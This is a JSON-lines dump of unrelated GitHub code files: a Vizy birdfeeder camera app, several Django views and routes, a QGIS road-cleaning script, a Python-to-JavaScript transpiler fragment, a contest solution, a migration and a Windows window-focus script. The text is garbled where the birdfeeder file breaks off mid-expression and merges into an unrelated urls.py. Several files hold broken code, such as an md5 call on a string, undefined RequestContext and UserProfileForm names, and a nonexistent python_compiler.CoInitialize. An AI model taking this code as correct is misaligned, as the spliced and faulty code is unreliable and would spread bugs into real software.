\"trigger_species\": [],\n \"gphoto_upload\": False,\n \"share_photos\": False,\n \"share_url\": '',\n \"share_url_emailed\": False,\n \"smooth_video\": False,\n \"text_new_species\": False,\n \"defense_duration\": 3, \n \"record_defense\": False,\n \"seen_species\": []\n}\n\nBASEDIR = os.path.dirname(os.path.realpath(__file__))\nMEDIA_DIR = os.path.join(BASEDIR, \"media\")\n# Video states\nWAITING = 0\nRECORDING = 1\nSAVING = 2\n\nclass BirdInference:\n\n def __init__(self, classifier):\n self.detector = TFliteDetector(os.path.join(BASEDIR, \"bird_detector.tflite\"))\n self.classifier = TFliteClassifier(classifier)\n\n def detect(self, image, threshold=0.75):\n dets = self.detector.detect(image, threshold)\n res = []\n for d in dets:\n if d['class']==\"Bird\":\n box = d['box']\n bird = image[box[1]:box[3], box[0]:box[2]]\n bird_type = self.classifier.classify(bird)\n obj = {\"class\": bird_type[0]['class'], \"score\": bird_type[0]['score'], \"box\": box}\n else:\n obj = d\n res.append(obj)\n return res\n\n def classes(self):\n return [NON_BIRD] + self.classifier.classes()\n\n\n \nclass Birdfeeder:\n def __init__(self):\n\n # Create Kritter server.\n self.kapp = Vizy()\n\n # Initialize variables.\n config_filename = os.path.join(self.kapp.etcdir, CONFIG_FILE) \n self.config = kritter.ConfigFile(config_filename, DEFAULT_CONFIG) \n consts_filename = os.path.join(BASEDIR, CONSTS_FILE) \n self.config_consts = kritter.import_config(consts_filename, self.kapp.etcdir, [\"IMAGES_KEEP\", \"IMAGES_DISPLAY\", \"PICKER_TIMEOUT\", \"GPHOTO_ALBUM\", \"MEDIA_QUEUE_IMAGE_WIDTH\", \"DEFEND_BIT\", \"CLASSIFIER\", \"TRACKER_DISAPPEARED_DISTANCE\", \"TRACKER_MAX_DISAPPEARED\", \"TRACKER_CLASS_SWITCH\"]) \n self.lock = RLock()\n self.record = None\n self._grab_thread = None\n self.detector = None\n self.record_state = WAITING\n self.take_pic = False\n self.defend_thread = None\n self.daytime = kritter.CalcDaytime(DAYTIME_THRESHOLD, DAYTIME_POLL_PERIOD)\n # Create unique identifier to mark photos\n self.uuid = bytes(self.kapp.uuid).hex().upper()\n # Map 1 to 100 (sensitivity) to 0.9 to 0.1 (detection threshold)\n self.sensitivity_range = kritter.Range((1, 100), (0.9, 0.1), inval=self.config['detection_sensitivity']) \n\n # Initialize power board defense bit.\n self.kapp.power_board.vcc12(True)\n self.kapp.power_board.io_set_mode(self.config_consts.DEFEND_BIT, vpb.IO_MODE_HIGH_CURRENT)\n self.kapp.power_board.io_set_bit(self.config_consts.DEFEND_BIT) # set defend bit to high (turn off)\n\n # Create and start camera.\n self.camera = kritter.Camera(hflip=True, vflip=True, mem_reserve=50)\n self.stream = self.camera.stream()\n self.camera.mode = CAMERA_MODE\n self.camera.brightness = self.config['brightness']\n self.camera.framerate = 20\n self.camera.autoshutter = True\n self.camera.awb = True\n\n # Invoke KtextVisor client, which relies on the server running.\n # In case it isn't running, just roll with it. \n try:\n self.tv = KtextVisor()\n def mrm(words, sender, context):\n try:\n n = min(int(words[1]), 10)\n except:\n n = 1\n res = []\n images_and_data = self.media_queue.get_images_and_data()\n for image, data in images_and_data:\n try:\n if image.endswith(\".mp4\"):\n res.append(f\"{data['timestamp']} Video\")\n res.append(Video(os.path.join(MEDIA_DIR, image)))\n else:\n res.append(f\"{data['timestamp']} {data['dets'][0]['class']}\")\n res.append(Image(os.path.join(MEDIA_DIR, image))) \n except:\n pass\n else:\n if len(res)//2==n:\n break\n return res\n tv_table = KtextVisorTable({\"mrm\": (mrm, \"Displays the most recent birdfeeder picture/video, or n media with optional n argument.\")})\n @self.tv.callback_receive()\n def func(words, sender, context):\n return tv_table.lookup(words, sender, context)\n @self.tv.callback_receive()\n def func(words, sender, context):\n return handle_text(self, words, sender, context)\n print(\"*** Texting interface found!\")\n except:\n self.tv = None\n print(\"*** Texting interface not found.\")\n\n self.gcloud = kritter.Gcloud(self.kapp.etcdir)\n self.gphoto_interface = self.gcloud.get_interface(\"KstoreMedia\")\n self.store_media = kritter.SaveMediaQueue(path=MEDIA_DIR, keep=self.config_consts.IMAGES_KEEP, keep_uploaded=self.config_consts.IMAGES_KEEP)\n if self.config['gphoto_upload']:\n self.store_media.store_media = self.gphoto_interface \n self.tracker = kritter.DetectionTracker(maxDisappeared=self.config_consts.TRACKER_MAX_DISAPPEARED, maxDistance=self.config_consts.TRACKER_DISAPPEARED_DISTANCE, classSwitch=self.config_consts.TRACKER_CLASS_SWITCH)\n self.picker = kritter.DetectionPicker(timeout=self.config_consts.PICKER_TIMEOUT)\n self.detector_process = kritter.Processify(BirdInference, (os.path.join(BASEDIR, self.config_consts.CLASSIFIER),))\n self._handle_detector()\n\n if self.config['species_of_interest'] is None:\n self.config['species_of_interest'] = self.detector_process.classes()\n self.config['species_of_interest'].remove(NON_BIRD)\n self.config.save()\n self._set_threshold()\n self._handle_sharing()\n\n dstyle = {\"label_width\": 5, \"control_width\": 5}\n\n # Create video component and histogram enable.\n self.video = kritter.Kvideo(width=STREAM_WIDTH, overlay=True)\n brightness = kritter.Kslider(name=\"Brightness\", value=self.camera.brightness, mxs=(0, 100, 1), format=lambda val: f'{val}%', style={\"control_width\": 4}, grid=False)\n self.take_pic_c = kritter.Kbutton(name=[kritter.Kritter.icon(\"camera\"), \"Take picture\"], spinner=True)\n self.video_c = kritter.Kbutton(name=[kritter.Kritter.icon(\"video-camera\"), \"Take video\"], spinner=True)\n self.defend = kritter.Kbutton(name=[kritter.Kritter.icon(\"bomb\"), \"Defend\"], spinner=True)\n settings_button = kritter.Kbutton(name=[kritter.Kritter.icon(\"gear\"), \"Settings...\"], service=None)\n self.take_pic_c.append(self.video_c)\n self.take_pic_c.append(self.defend)\n self.take_pic_c.append(settings_button)\n\n self.media_queue = MediaDisplayQueue(MEDIA_DIR, STREAM_WIDTH, CAMERA_WIDTH, self.config_consts.MEDIA_QUEUE_IMAGE_WIDTH, self.config_consts.IMAGES_DISPLAY) \n sensitivity = kritter.Kslider(name=\"Detection sensitivity\", value=self.config['detection_sensitivity'], mxs=(1, 100, 1), format=lambda val: f'{int(val)}%', style=dstyle)\n species_of_interest = kritter.Kchecklist(name=\"Species of interest\", options=self.detector_process.classes(), value=self.config['species_of_interest'], clear_check_all=True, scrollable=True, style=dstyle)\n pest_species = kritter.Kchecklist(name=\"Pest species\", options=self.detector_process.classes(), value=self.config['pest_species'], clear_check_all=True, scrollable=True, style=dstyle)\n trigger_species = kritter.Kchecklist(name=\"Trigger species\", options=self.detector_process.classes(), value=self.config['trigger_species'], clear_check_all=True, scrollable=True, style=dstyle)\n smooth_video = kritter.Kcheckbox(name=\"Smooth video\", value=self.config['smooth_video'], style=dstyle)\n upload = kritter.Kcheckbox(name=\"Upload to Google Photos\", value=self.config['gphoto_upload'], disabled=self.gphoto_interface is None, style=dstyle)\n share = kritter.Kcheckbox(name=\"Share photos to help improve accuracy\", value=self.config['share_photos'], disabled=self.gphoto_interface is None, spinner=True, style=dstyle)\n text_new = kritter.Kcheckbox(name=\"Text new species\", value=self.config['text_new_species'], style=dstyle, disabled=self.tv is None)\n defense_duration = kritter.Kslider(name=\"Defense duration\", value=self.config['defense_duration'], mxs=(0, 10, .1), format=lambda val: f'{val}s', style=dstyle)\n rdefense = kritter.Kcheckbox(name=\"Record defense\", value=self.config['record_defense'], style=dstyle)\n\n dlayout = [species_of_interest, pest_species, trigger_species, sensitivity, defense_duration, rdefense, upload, share, text_new, smooth_video]\n settings = kritter.Kdialog(title=[kritter.Kritter.icon(\"gear\"), \"Settings\"], layout=dlayout)\n controls = html.Div([brightness, self.take_pic_c])\n\n # Add video component and controls to layout.\n self.kapp.layout = html.Div([html.Div([self.video, self.media_queue.layout]), controls, settings], style={\"padding\": \"15px\"})\n self.kapp.push_mods(self.media_queue.out_images())\n\n @brightness.callback()\n def func(value):\n self.config['brightness'] = value\n self.camera.brightness = value\n self.config.save()\n\n @self.video_c.callback()\n def func():\n if self.record_state==SAVING:\n return\n else:\n with self.lock:\n self.record_state += 1\n return self._update_record()\n\n @self.take_pic_c.callback()\n def func():\n self.take_pic = True\n return self.take_pic_c.out_spinner_disp(True)\n\n @self.defend.callback()\n def func():\n self._run_defense(True)\n\n @sensitivity.callback()\n def func(value):\n self.config['detection_sensitivity'] = value\n self._set_threshold() \n self.config.save()\n\n @species_of_interest.callback()\n def func(value):\n self.config['species_of_interest'] = value\n self.config.save()\n\n @pest_species.callback()\n def func(value):\n self.config['pest_species'] = value\n self.config.save()\n\n @trigger_species.callback()\n def func(value):\n self.config['trigger_species'] = value\n self.config.save()\n\n @smooth_video.callback()\n def func(value):\n self.config['smooth_video'] = value \n self.config.save()\n self._stop_detector_and_thread()\n self._handle_detector()\n self._run_grab_thread()\n\n @upload.callback()\n def func(value):\n self.config['gphoto_upload'] = value \n self.store_media.store_media = self.gphoto_interface if value else None\n self.config.save()\n\n @share.callback()\n def func(value):\n self.kapp.push_mods(share.out_spinner_disp(True))\n mods = share.out_spinner_disp(False)\n self.config['share_photos'] = value \n self.store_media.store_media = self.gphoto_interface if value else None\n self._handle_sharing()\n self.config.save()\n if value and not self.config['gphoto_upload']: \n return mods + upload.out_value(True)\n return mods\n\n @text_new.callback()\n def func(value):\n self.config['text_new_species'] = value \n self.config.save()\n\n @defense_duration.callback()\n def func(value):\n self.config['defense_duration'] = value \n self.config.save()\n\n @rdefense.callback()\n def func(value):\n self.config['record_defense'] = value \n self.config.save()\n\n @settings_button.callback()\n def func():\n return settings.out_open(True)\n\n # Run camera grab thread.\n self.run_thread = True\n self._grab_thread = Thread(target=self.grab_thread)\n self._grab_thread.start()\n\n # Run Kritter server, which blocks.\n self.kapp.run()\n self._stop_detector_and_thread()\n self.detector_process.close()\n self.store_media.close()\n\n def _run_grab_thread(self):\n # Run camera grab thread.\n if self._grab_thread is None: \n self.run_thread = True\n self._grab_thread = Thread(target=self.grab_thread)\n self._grab_thread.start()\n\n def _stop_detector_and_thread(self):\n # Stop thread\n if self._grab_thread is not None:\n self.run_thread = False\n self._grab_thread.join()\n self._grab_thread = None\n # Stop detector\n if self.detector and isinstance(self.detector, kritter.KimageDetectorThread):\n self.detector.close()\n\n def _handle_detector(self):\n if self.config['smooth_video']:\n self.detector = kritter.KimageDetectorThread(self.detector_process)\n else:\n self.detector = self.detector_process\n\n def _handle_sharing(self):\n if self.config['share_photos'] and not self.config['share_url_emailed'] and self.gphoto_interface is not None:\n # Try to get location information so we know where the pictures are coming from\n try:\n res = urlopen('https://ipinfo.io/json')\n location_data = json.load(res)\n except:\n location_data = {}\n # Only send location info -- not IP information\n location_data = {\"country\": location_data.get('country', 'Unknown'), \"region\": location_data.get('region', 'Unknown'), \"city\": location_data.get('city', 'Unknown'), \"loc\": location_data.get('loc', 'Unknown')}\n try:\n self.config['share_url'] = self.gphoto_interface.get_share_url(self.config_consts.GPHOTO_ALBUM)\n if self.config['share_url']:\n email = self.gcloud.get_interface(\"KtextClient\") # Gmail\n message = {**location_data, \"uuid\": self.uuid, \"url\": self.config['share_url']}\n message = json.dumps(message)\n email.text(\"vizycamera@gmail.com\", message, subject=\"Birdfeeder album share\")\n email.send()\n self.config['share_url_emailed'] = True\n self.config.save()\n except Exception as e:\n print(f\"Tried to send photo album share URL but failed. ({e})\")\n\n\n def _set_threshold(self):\n self.sensitivity_range.inval = self.config['detection_sensitivity']\n threshold = self.sensitivity_range.outval\n self.tracker.setThreshold(threshold)\n self.low_threshold = threshold - THRESHOLD_HYSTERESIS\n if self.low_threshold/pdf',\n views.admin_order_pdf,\n name='admin_order_pdf'),\n\n # api routes for frontend\n path('api/products', ProductListView.as_view(), name='products'),\n path('api/product/',\n ProductDetailView.as_view(), name=\"product_detail\"),\n path('api/product/images/',\n ProductImagesView.as_view(), name=\"product_image\"),\n path('api/category', ProductCategoryListView.as_view(), name='category'),\n path('api/category/',\n CategoryProductsView.as_view(), name=\"category_product\"),\n\n path('api/carousel', CarouselListView.as_view(), name=\"carousel\")\n]\n","repo_name":"sarozpradhan64/Django-DRF-E-Commerce-API","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26482728585","text":"from django.http import HttpResponse \nfrom django.shortcuts import render\nimport hashlib\nimport os\n\n\ndef idImageUpload(request):\n\tBASEDIR = os.path.dirname(os.path.dirname(__file__))\n\t \n\tif request.method == 'POST':\n\t\tuploadData = request.FILES.get('idImg')\n\t\tf = open(os.path.join(BASEDIR , 'tmp' ,hashlib.md5(uploadData.name), uploadData.name) , 'wb')\n\t\tfor chunk in uploadData.chunks():\n\t\t\tf.write(chunk)\n\t\tf.close()\n\t\treturn HttpResponse('OK')\n\treturn render(request , 'static/fail.html')\n","repo_name":"drlicahng/drai","sub_path":"web/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"71269116329","text":"import processing\r\nimport os, sys, glob\r\n\r\nfrom qgis.core import *\r\nfrom qgis.gui import QgsMapCanvas\r\nfrom PyQt4.QtGui import *\r\n\r\nstateslist = [\\\r\n'AF', 'AO', 'BD', 'BI', 'CD', 'CO', 'DZ', 'EH', 'ET', 'ID', 'IL', 'IN', 'IQ', 'IR', 'KH', 'LA', 'LB', 'LK', 'LR', 'LY', 'MA', 'MM', 'MZ', 'NP', 'PE', 'PH', 'PK', 'RU', 'RW', 'SD', 'SL', 'SN', 'SO', 'SS', 'TD', 'TH', 'TJ', 'TL', 'TR', 'UG', 'YE'\r\n]\r\n\r\nin_path = 'C:/Users/Jesse/Dropbox/RoadNetworks/Data/Roads/'\r\n#in_path = '/media/jesse/Files/Dropbox/RoadNetworks/Data/Roads/'\r\nout_path = 'C:/Users/Jesse/Dropbox/RoadNetworks/Data/Roads/'\r\n#out_path = '/media/jesse/Files/Dropbox/RoadNetworks/Data/Roads/'\r\n\r\nfor state in stateslist:\r\n roads_shp_path = in_path + state + '_roads.shp'\r\n roads_out_path = out_path + state + '_roads_cleaned.shp'\r\n \r\n # Reproject to Lambert AEA\r\n ret = processing.runalg(\"qgis:reprojectlayer\",roads_shp_path,\"+proj=aea +lat_1=20 +lat_2=-23 +lat_0=0 +lon_0=25 +x_0=0 +y_0=0 +ellps=WGS84 +units=m +no_defs\",None)\r\n output = ret['OUTPUT']\r\n\r\n extent = QgsVectorLayer( output, '', 'ogr' ).extent()\r\n xmin = extent.xMinimum()\r\n xmax = extent.xMaximum()\r\n ymin = extent.yMinimum()\r\n ymax = extent.yMaximum()\r\n\r\n # Break vector lines\r\n ret = processing.runalg(\"grass7:v.clean\",output,0,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n\r\n # Snap geometry, 100m threshold\r\n ret = processing.runalg(\"grass7:v.clean\",output,1,100,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n #Break vector lines\r\n ret = processing.runalg(\"grass7:v.clean\",output,0,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # De-duplicate line sections\r\n ret = processing.runalg(\"grass7:v.clean\",output,6,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Drop dangling lines less than 1000m\r\n ret = processing.runalg(\"grass7:v.clean\",output,2,1000,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Prune lines, 500m threshold\r\n ret =processing.runalg(\"grass7:v.clean\",output,9,500,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Break vector lines\r\n ret = processing.runalg(\"grass7:v.clean\",output,0,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # De-duplicate line sections\r\n ret = processing.runalg(\"grass7:v.clean\",output,6,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Drop dangling lines less than 1000m\r\n ret = processing.runalg(\"grass7:v.clean\",output,2,1000,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,None,None)\r\n output = ret['output']\r\n \r\n # Drop length-0 lines and write to file\r\n processing.runalg(\"grass7:v.clean\",output,11,0.1,\"%f, %f, %f, %f\"%(xmin, xmax,ymin,ymax),-1,0.0001,roads_out_path,None)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n ","repo_name":"jrhammond/cartoGraph","sub_path":"RoadsCleaning.py","file_name":"RoadsCleaning.py","file_ext":"py","file_size_in_byte":3185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"34323521688","text":"import ast\nimport typing\n\nimport unholy\nfrom typechecker import ensure_typecheck\n\n\n@ensure_typecheck\ndef jsify_if(node: ast.If) -> typing.List[unholy.Compilable]:\n # test, body, orelse,\n body = []\n for i in node.body:\n body.extend(unholy.jsify_node(i))\n return [\n unholy.JSStatement('if ', ['(', *unholy.jsify_node(node.test), ')'], has_semicolon=False),\n unholy.JSBlock(body)\n ]\n\n\n@ensure_typecheck\ndef _parse_range_arguments(call: ast.Call):\n if len(call.args) == 1:\n return [unholy.JSExpression(['0'])], unholy.jsify_node(call.args[0]), [unholy.JSExpression(['1'])]\n elif len(call.args) == 2:\n return unholy.jsify_node(call.args[0]), unholy.jsify_node(call.args[1]), [unholy.JSExpression(['1'])]\n elif len(call.args) == 3:\n return unholy.jsify_node(call.args[0]), unholy.jsify_node(call.args[1]), unholy.jsify_node(call.args[2])\n else:\n raise unholy.CompilationError('Bad arguments for range() function in for loop.')\n\n\n@ensure_typecheck\ndef jsify_for(node: ast.For) -> typing.List[unholy.Compilable]:\n # 'target', 'iter', 'body', 'orelse', 'type_comment',\n output = []\n var_name = unholy.jsify_node(node.target)\n if isinstance(node.iter, ast.Call) and isinstance(node.iter.func, ast.Name) and node.iter.func.id == 'range':\n # range loop\n start, end, step = _parse_range_arguments(node.iter)\n output.append(\n unholy.JSStatement(\n 'for ',\n [\n '(let ',\n *var_name,\n ' = ',\n *start,\n '; (',\n *step,\n ' >= 0 ? (',\n *var_name,\n ' < ',\n *end,\n ') : ',\n *var_name,\n ' > ',\n *end,\n '); ',\n *var_name,\n '+=',\n *step,\n ')'\n ],\n has_semicolon=False\n )\n )\n else:\n iterator = unholy.jsify_node(node.iter)\n output.append(unholy.JSStatement(\n 'for ',\n [\n '(const ',\n *var_name,\n ' of ',\n f'{unholy.map_name(\"iter\")}(',\n *iterator,\n '))'\n ],\n has_semicolon=False\n ))\n body = []\n for i in node.body:\n body.append(unholy.JSStatement('', unholy.jsify_node(i)))\n output.append(unholy.JSBlock(body))\n return output\n","repo_name":"Mm2PL/unholy","sub_path":"unholy/node_types/control.py","file_name":"control.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"31384669787","text":"with open('crossroad.in','r') as fin:\n lines=fin.readlines()\n\nlines=[line.strip() for line in lines]\nn=int(lines[0])\nobservations=[list(map(int,line.split())) for line in lines[1:]]\n\nresult=0\ncrossings={}\n#iterate through all observations and keep track of when they cross the road\nfor observation in observations:\n if observation[0] not in crossings:\n crossings[observation[0]]=observation[1]\n elif observation[1]!=crossings[observation[0]]:\n result+=1\n crossings[observation[0]]=observation[1]\n\nwith open('crossroad.out','w') as fout:\n fout.write(str(result)+'\\n')\n","repo_name":"RithvikKo/usaco","sub_path":"2016-17/bronze/feb/crossroad.py","file_name":"crossroad.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"6752436585","text":"from rest_framework.generics import (\n RetrieveUpdateDestroyAPIView,\n ListCreateAPIView,\n)\n# from rest_framework.permissions import IsAuthenticated\n\nfrom django.http import FileResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.conf import settings\n\nimport os\n\nimport os\n\nimport json\n\n# locale imports\nfrom .models import (\n WorkModel,\n MaterialModel,\n WorksMaterialsModel,\n)\n# from .permissions import IsOwnerOrReadOnly\nfrom .serializers import (\n WorkSerializer,\n MaterialSerializer,\n WorksMaterialsSerializer,\n)\nfrom .pagination import CustomPagination\nfrom .services import (\n create_word_file,\n create_excel_file,\n add_total_types,\n)\n\nfrom django.conf import settings\n\n\nclass ListCreateWorkModelAPIView(ListCreateAPIView):\n serializer_class = WorkSerializer\n queryset = WorkModel.objects.all()\n # permission_classes = [IsAuthenticated]\n pagination_class = CustomPagination\n\n def perform_create(self, serializer):\n # Assign the user who created the movie\n serializer.save(creator=self.request.user)\n\n\nclass RetrieveUpdateDestroyWorkModelAPIView(RetrieveUpdateDestroyAPIView):\n serializer_class = WorkSerializer\n queryset = WorkModel.objects.all()\n # permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]\n\n\nclass ListCreateMaterialModelAPIView(ListCreateAPIView):\n serializer_class = MaterialSerializer\n queryset = MaterialModel.objects.all()\n # permission_classes = [IsAuthenticated]\n pagination_class = CustomPagination\n\n def perform_create(self, serializer):\n # Assign the user who created the movie\n serializer.save(creator=self.request.user)\n\n\nclass RetrieveUpdateDestroyMaterialModelAPIView(RetrieveUpdateDestroyAPIView):\n serializer_class = MaterialSerializer\n queryset = MaterialModel.objects.all()\n # permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]\n\n\nclass ListCreateWorksMaterialsModelAPIView(ListCreateAPIView):\n serializer_class = WorksMaterialsSerializer\n queryset = WorksMaterialsModel.objects.all()\n # permission_classes = [IsAuthenticated]\n pagination_class = CustomPagination\n\n def perform_create(self, serializer):\n # Assign the user who created the movie\n serializer.save(creator=self.request.user)\n\n\nclass RetrieveUpdateDestroyWorksMaterialsModelAPIView(\n RetrieveUpdateDestroyAPIView,\n):\n serializer_class = WorksMaterialsSerializer\n queryset = WorksMaterialsModel.objects.all()\n # permission_classes = [IsAuthenticated, IsOwnerOrReadOnly]\n\n\n@csrf_exempt\ndef get_word_file(request):\n if request.method == \"POST\":\n body = json.loads(request.body.decode(\"utf-8\"))\n total_price = add_total_types(body)\n create_word_file(\n body[\"workData\"],\n body[\"materialData\"],\n total_price,\n os.path.join(settings.BASE_DIR, \"files/template.docx\"),\n os.path.join(settings.BASE_DIR, \"files/finish.docx\"),\n )\n file = open(\"files/finish.docx\", \"rb\")\n return FileResponse(file)\n\n\n@csrf_exempt\ndef get_excel_file(request):\n if request.method == \"POST\":\n body = json.loads(request.body.decode(\"utf-8\"))\n create_excel_file(\n body[\"workData\"],\n body[\"materialData\"],\n os.path.join(settings.BASE_DIR, \"files/template.xlsx\"),\n os.path.join(settings.BASE_DIR, \"files/finish.xlsx\"),\n )\n file = open(\"files/finish.xlsx\", \"rb\")\n return FileResponse(file)\n\n","repo_name":"Bereozka/18-podyezdov","sub_path":"backend/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26549093470","text":"from django.shortcuts import render, redirect, get_object_or_404, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom .forms import RegistrationForm, UserEditForm\nfrom .tokens import account_activation_token\nfrom .models import Profile\nfrom django.http import JsonResponse\nfrom django.contrib.auth import login\n\n# Create your views here.\n\n\n@login_required\ndef edit(request):\n if request.method == 'POST':\n\n user_form = UserEditForm(instance=request.user ,data=request.POST)\n profile_form = UserProfileForm(\n request.POST, request.FILES, instance=request.user.profile)\n\n if profile_form.is_valid() and user_form.is_valid():\n user_form.save()\n profile_form.save()\n else:\n user_form = UserEditForm(instance=request.user)\n profile_form = UserProfileForm(instance=request.user.profile)\n\n return render(request,\n 'accounts/update.html',\n {'user_form': user_form, 'profile_form': profile_form})\n\n\n@login_required\ndef delete_user(request):\n\n if request.method == 'POST':\n user = User.objects.get(username=request.user)\n user.is_active = False\n user.save()\n return redirect('accounts:login')\n\n return render(request, 'accounts/delete.html')\n\n\n\ndef accounts_register(request):\n if request.method == 'POST':\n registerForm = RegistrationForm(request.POST)\n if registerForm.is_valid():\n request_context = RequestContext(request)\n user = registerForm.save(commit=False)\n user.email = registerForm.cleaned_data['email']\n user.set_password(registerForm.cleaned_data['password'])\n user.is_active = True\n user.save()\n return activate(request_context,user)\n\n else:\n registerForm = RegistrationForm()\n return render(request, 'accounts/register.html', {'form': registerForm})\n\n\ndef activate(request, user):\n try:\n user.is_active = True\n user.save()\n login(request, user)\n return redirect('login')\n except:\n return redirect('login')\n","repo_name":"barskhianfannie/fracty-io","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"1100340503","text":"\"\"\"gifs thumb_path\n\nRevision ID: 40fd4a7beffe\nRevises: 8c53b170a46c\nCreate Date: 2019-12-20 13:28:58.518513\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '40fd4a7beffe'\ndown_revision = '8c53b170a46c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('gif', sa.Column('thumb_path', sa.String(length=200), nullable=True))\n op.create_index(op.f('ix_gif_thumb_path'), 'gif', ['thumb_path'], unique=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_gif_thumb_path'), table_name='gif')\n op.drop_column('gif', 'thumb_path')\n # ### end Alembic commands ###\n","repo_name":"Furao/gifture-frame","sub_path":"migrations/versions/40fd4a7beffe_gifs_thumb_path.py","file_name":"40fd4a7beffe_gifs_thumb_path.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18915771930","text":"from platform import python_compiler\nimport re, traceback\nimport win32gui, win32con, win32com.client\nfrom time import sleep\n\n\nclass cWindow:\n def __init__(self):\n self._hwnd = None\n self.shell = win32com.client.Dispatch(\"WScript.Shell\",python_compiler.CoInitialize())\n\n def BringToTop(self):\n win32gui.BringWindowToTop(self._hwnd)\n\n def SetAsForegroundWindow(self):\n self.shell.SendKeys('%')\n win32gui.SetForegroundWindow(self._hwnd)\n\n def Maximize(self):\n win32gui.ShowWindow(self._hwnd, win32con.SW_MAXIMIZE)\n\n def setActWin(self):\n win32gui.SetActiveWindow(self._hwnd)\n\n def _window_enum_callback(self, hwnd, wildcard):\n '''Pass to win32gui.EnumWindows() to check all the opened windows'''\n if re.match(wildcard, str(win32gui.GetWindowText(hwnd))) is not None:\n self._hwnd = hwnd\n \n\n def find_window_wildcard(self, wildcard):\n self._hwnd = None\n aa=win32gui.EnumWindows(self._window_enum_callback, wildcard)\n print (aa)\n return aa\n def kill_task_manager(self):\n wildcard = 'Gestionnaire des t.+ches de Windows'\n self.find_window_wildcard(wildcard)\n if self._hwnd:\n win32gui.PostMessage(self._hwnd, win32con.WM_CLOSE, 0, 0)\n sleep(0.5)\n\ndef main():\n sleep(1)\n try:\n wildcard = \"File Explorer\"\n cW = cWindow()\n\n #cW.kill_task_manager()\n cW.find_window_wildcard(wildcard)\n cW.Maximize() \n #cW.BringToTop()\n \n cW.SetAsForegroundWindow()\n\n except:\n f = open(\"log.txt\", \"w\")\n f.write(traceback.format_exc())\n print(traceback.format_exc())\n\ndef main2():\n sleep(3)\n try:\n wildcard = \"Untitled - Notepad\"\n cW = cWindow()\n #cW.kill_task_manager()\n cW.find_window_wildcard(wildcard)\n cW.Maximize()\n cW.SetAsForegroundWindow()\n except:\n f = open(\"log.txt\", \"w\")\n f.write(traceback.format_exc())\n print(traceback.format_exc())\n\n\nmain()","repo_name":"geodatabasecol/bspotfail","sub_path":"NeverInstall/testwindows.py","file_name":"testwindows.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18742581703","text":"__all__ = ['set_units', 'strip_units']\n\nimport astropy.units as u\nfrom collections.abc import Sequence\nimport inspect\nfrom functools import wraps\n\n_default_equivalencies = u.temperature()\n\n\ndef _make_single_units(**kwargs):\n for val in kwargs.keys():\n # check if unit is unambiguous\n if isinstance(kwargs[val], Sequence):\n if len(kwargs[val]) > 1:\n raise ValueError(\"Unit of `{0}` is ambiguous.\".format(val))\n kwargs[val] = kwargs[val][0]\n\n\ndef _add_default_units(func, **kwargs):\n wrapped_signature = inspect.signature(func)\n\n @wraps(func)\n def f(*func_args, **func_kwargs):\n # get provided arguments\n bound_args = wrapped_signature.bind(*func_args, **func_kwargs)\n new_input = {}\n\n # attach default units to every parameter where applicable\n for par in wrapped_signature.parameters.values():\n if par.name in bound_args.arguments: # passed explicitly\n arg = bound_args.arguments[par.name]\n else: # if not provided use default\n arg = par.default\n # attach unit if needed\n if par.name in kwargs and not hasattr(arg, 'unit') \\\n and arg is not None:\n unit = kwargs[par.name]\n if 